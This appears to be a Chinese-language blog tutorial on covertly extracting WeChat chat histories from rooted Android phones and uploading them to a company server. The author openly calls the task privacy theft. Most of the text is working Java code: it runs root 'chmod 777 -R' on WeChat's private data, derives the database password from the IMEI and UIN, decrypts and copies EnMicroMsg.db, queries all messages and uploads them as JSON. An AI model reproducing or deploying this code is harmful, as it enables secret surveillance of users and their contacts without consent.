哪個小可愛在偷偷的看我~~
前言
最近公司需要做個內部應用,需求有通話并錄音上傳服務器,微信聊天記錄上傳服務器,我擦,竟然要做嚴重竊取隱私的功能,一萬個草泥馬奔騰而來,于是乎開始研究如何實現,網上的文章都不是很詳細,本篇文章帶你來一步步實現如何獲取微信聊天記錄,通話錄音上傳另一篇文章將予介紹
微信的聊天記錄保存在Android內核中,路徑如下:
“/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db” `目錄下。
說明
1、微信聊天記錄數據庫它并不是保存sd卡下,而是保存在內核中,手機是看不到此目錄,只有root過后才可以看到,至于如何Root這里就不做介紹了,如今手機越來越趨向于安全方面,所以root比較費事
2、數據庫保存在data/data目錄下,我們需要訪問此目錄以獲得我們需要的信息,直接訪問權限還是不夠,此時需要進一步獲取root權限
3、代碼打開數據庫,會遇到如下幾個問題
(1) 微信數據庫是加密文件,需要獲取密碼才能打開,數據庫密碼為 《MD5(手機的IMEI+微信UIN)的前七位》
(2) 微信數據庫路徑是一長串數字,如5a670a2e0d0c10dea9c7a4a49b812ce4,文件生成規則《MD5(“mm”+微信UIN)》 ,注:mm是字符串和微信uin拼接到一起再md5
(3) 直接連接數據庫微信會報異常,所以需要我們將數據庫拷貝出來再進行打開
(4) 獲取微信UIN,目錄位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中,_auth_uin字段下的value值
(5) 獲取數據庫密碼,密碼規則為:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打開加密數據庫,因為微信數據是sqlite 2.0,所以需要支持2.0才可以打開,網上介紹的最多的是用這個第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但經測試不可行,后來選擇用微信開源數據庫com.tencent.wcdb:wcdb-android:1.0.0
5、開始查找需要的內容,剩下的就是sq語言了,聊天記錄在message表中,好友在rcontact表中,群信息在chatroom表中等,根據自己需求去查找
6、為了更直觀的看到表結構去操作,可以用sqlcipher去查看下載地址
開始一步步實現
1、獲取root手機
有好多root工具,經過踩坑是一鍵root不了6.0以上手機的,大家可以去選擇其他方案去獲取root手機
2、項目獲取微信數據庫目錄路徑root最高權限
因為只有獲取了root最高權限才可以對文件進行操作,通過Linux命令去申請chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申請時調用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下
/*** execRootCmd("chmod 777 -R /data/data/com.tencent.mm");* <p>* 執行linux指令 獲取 root最高權限*/public static void execRootCmd(String paramString) {try {Process localProcess = Runtime.getRuntime().exec("su");Object localObject = localProcess.getOutputStream();localDataOutputStream = new DataOutputStream((OutputStream) localObject);String str = String.valueOf(paramString);localObject = str + "\n";localDataOutputStream.writeBytes((String) localObject);localDataOutputStream.flush();localDataOutputStream.writeBytes("exit\n");localDataOutputStream.flush();localProcess.waitFor();localObject = localProcess.exitValue();} catch (Exception localException) {localException.printStackTrace();}finally {if (localDataOutputStream!=null){try {localDataOutputStream.close();} catch (IOException e) {e.printStackTrace();}}}}
3、拿到數據庫EnMicroMsg.db路徑
先看下數據庫路徑/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因為EnMicroMsg.db父級路徑不同微信號是會變的,所以需要動態去獲取,父級路徑生成規則為**《MD5(“mm”+微信UIN)》**,下一步我們需要獲取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整體路徑為WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、獲取微信uin
微信uin存儲路徑在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中,如圖所示
拿到此文件我們需要xml文件解析才可以獲得_auth_uin的value,解析工具dom4j下載地址
/*** 獲取微信的uid* 目標 _auth_uin* 存儲位置為\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml*/public static String initCurrWxUin(final Activity context) {String mCurrWxUin = null;File file = new File(WX_SP_UIN_PATH);try {in = new FileInputStream(file);SAXReader saxReader = new SAXReader();Document document = saxReader.read(in);Element root = document.getRootElement();List<Element> elements = root.elements();for (Element element : elements) {if ("_auth_uin".equals(element.attributeValue("name"))) {mCurrWxUin = element.attributeValue("value");}}return mCurrWxUin;} catch (Exception e) {e.printStackTrace();if(MainActivity.isDebug){Log.e("initCurrWxUin", "獲取微信uid失敗,請檢查auth_info_key_prefs文件權限");}context.runOnUiThread(new Runnable() {@Overridepublic void run() {Toast.makeText(context, "請確認是否授權root權限,并登錄微信", Toast.LENGTH_SHORT).show();}});}finally {try {if(in!=null){in.close();}} catch (IOException e) {e.printStackTrace();}}return "";}
5、獲取微信數據庫密碼
密碼規則為MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上邊我們已經獲取了微信uin,接下來需要獲取手機IMEI,
獲取方法1:在手機撥號鍵輸入:*#06# 即可獲取
獲取方法2:代碼中獲取
/*** 獲取手機的imei** @return*/@SuppressLint("MissingPermission")private static String getPhoneIMEI(Context mContext) {String id;//android.telephony.TelephonyManagerTelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);if (mTelephony.getDeviceId() != null) {id = mTelephony.getDeviceId();} else {//android.provider.Settings;id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);}return id;}
接下來需要生成密碼
/*** 根據imei和uin生成的md5碼獲取數據庫的密碼** @return*/public static String initDbPassword(final Activity mContext) {String imei = initPhoneIMEI(mContext);//以為不同手機微信拿到的識別碼不一樣,所以需要做特別處理,可能是MEID,可能是 IMEI1,可能是IMEI2if("868739046004754".equals(imei)){imei = "99001184251238";}else if("99001184249875".equals(imei)){imei = "868739045977497";}String uin = initCurrWxUin(mContext);if(BaseApp.isDebug){Log.e("initDbPassword", "imei===" + imei);Log.e("initDbPassword", "uin===" + uin);}try {if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {if(BaseApp.isDebug){Log.e("initDbPassword", "初始化數據庫密碼失敗:imei或uid為空");}mContext.runOnUiThread(new Runnable() {@Overridepublic void run() {Toast.makeText(mContext, "請確認是否授權root權限,并登錄微信", Toast.LENGTH_SHORT).show();}});return "";}String md5 = Md5Utils.md5Encode(imei + uin);String password = md5.substring(0, 7).toLowerCase();if(BaseApp.isDebug){Log.e("initDbPassword", password);}return password;} catch (Exception e) {if(BaseApp.isDebug){Log.e("initDbPassword", e.getMessage());}}return "";}
6、復制數據庫
為啥要復制數據庫呢?因為直接去鏈接數據庫微信會奔潰,所以我們需要將數據庫拷貝出來再進行操作
踩坑1:數據庫復制的路徑也需要獲取root權限,即Linux 的chmod 777 -R去申請
踩坑2:復制的路徑如果是二級目錄,需要一級一級去申請
于是我直接放到根目錄下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再獲取root最高權限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
復制數據庫 FileUtilCopy.copyFile(path, copyFilePath);
public class FileUtilCopy {private static FileOutputStream fs;private static InputStream inStream;/*** 復制單個文件** @param oldPath String 原文件路徑 如:c:/fqf.txt* @param newPath String 復制后路徑 如:f:/fqf.txt* @return boolean*/public static void copyFile(String oldPath, String newPath) {try {int byteRead = 0;File oldFile = new File(oldPath);//文件存在時if (oldFile.exists()) {//讀入原文件inStream = new FileInputStream(oldPath);fs = new FileOutputStream(newPath);byte[] buffer = new byte[1444];while ((byteRead = inStream.read(buffer)) != -1) {fs.write(buffer, 0, byteRead);}}} catch (Exception e) {if (BaseApp.isDebug) {Log.e("copyFile", "復制單個文件操作出錯");}e.printStackTrace();} finally {try {if (inStream != null) {inStream.close();}if (fs != null) {fs.close();}} catch (IOException e) {e.printStackTrace();}}}
}
7、打開數據庫
注:網上好多介紹都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打開的,但經過測試打不開
于是用了微信自家開源的數據庫打開了com.tencent.wcdb:wcdb-android:1.0.0,微信還是對自家人友善
/*** 連接數據庫*/public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {SQLiteCipherSpec cipher = new SQLiteCipherSpec() // 加密描述對象.setPageSize(1024) // SQLCipher 默認 Page size 為 1024.setSQLCipherVersion(1); // 1,2,3 分別對應 1.x, 2.x, 3.x 創建的 SQLCipher 數據庫try {//打開數據庫連接System.out.println(dbFile.length() + "================================");SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, // DB 路徑mDbPassword.getBytes(), // WCDB 密碼參數類型為 byte[]cipher, // 上面創建的加密描述對象null, // CursorFactorynull // DatabaseErrorHandler// SQLiteDatabaseHook 參數去掉了,在cipher里指定參數可達到同樣目的);//獲取消息記錄getReMessageData(db);} catch (Exception e) {Log.e("openWxDb", "讀取數據庫信息失敗" + e.toString());runOnUiThread(new Runnable() {@Overridepublic void run() {showToast("讀取數據庫信息失敗");L.e("讀取數據庫信息失敗");}});}}
8、演示獲取微信聊天記錄并上傳
可以讓后臺保存最后上傳時間,下次上傳新消息時用最后時間取查
注:微信數據庫時間精確到毫秒
String messageSql = "select * from message where createTime >";/*** 獲取聊天記錄并上傳** @param db*/public void getReMessageData(SQLiteDatabase db) {Cursor cursor3 = null;if (BaseApp.isDebug) {
// Log.e("query查詢分割時間", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));}try {//判斷是否強制更新所有的記錄if (mLastTime == 0) {//如果是選擇全部,則sql 為0if (true) {cursor3 = db.rawQuery(messageSql + 0, null);Log.e("query", "更新狀態:更新全部記錄" + messageSql + 0);} else {//不是選擇全部,則sql 為用戶輸入值
// String searchMessageSql = messageSql + addTimestamp+ " and createTime < "+endTimestamp;
// cursor3 = db.rawQuery(searchMessageSql, null);
// Log.e("query", "更新狀態:更新選擇的全部記錄" + searchMessageSql);}} else {Log.e("query", "按時間節點查詢" + messageSql +mLastTime);cursor3 = db.rawQuery((messageSql + mLastTime), null);
// Log.e("query", "更新狀態:增量更新部分記錄" + messageSql + longLastUpdateTime);}List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();while (cursor3.moveToNext()) {String content = cursor3.getString(cursor3.getColumnIndex("content"));if (content != null && !TextUtils.isEmpty(content)) {WeChatMessageBean messageBean = new WeChatMessageBean();String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));int type = cursor3.getInt(cursor3.getColumnIndex("type"));int status = cursor3.getInt(cursor3.getColumnIndex("status"));int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));String talker = cursor3.getString(cursor3.getColumnIndex("talker"));messageBean.setMsg_id(msg_id);messageBean.setType(type);messageBean.setStatus(status);messageBean.setIs_send(is_send);messageBean.setCreate_time(create_time);messageBean.setContent(content);messageBean.setTalker(talker);weChatMessageBeans.add(messageBean);}}if (weChatMessageBeans.size() < 1) {L.e("當前無最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");return;}//3.把list或對象轉化為jsonGson gson2 = new Gson();String str = gson2.toJson(weChatMessageBeans);if (BaseApp.isDebug) {Logger.json(str);}//上傳服務器mPresenter.getWechatRecordSuccess(str);} catch (Exception e) {Log.e("openWxDb", "讀取數據庫信息失敗" + e.toString());runOnUiThread(new Runnable() {@Overridepublic void run() {L.e("讀取數據庫信息失敗");showToast("讀取數據庫信息失敗");}});} finally {if (cursor3 != null) {cursor3.close();}if (db != null) {db.close();}}}
9、pc端更直觀去查看數據庫結構可通過sqlcipher去查看下載地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
將數據庫EnMicroMsg.db拷貝到電腦上
用SQLit打開
最后祝大家開發愉快!
總結
以上是生活随笔為你收集整理的带你一步步破解Android微信聊天记录解决方案的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。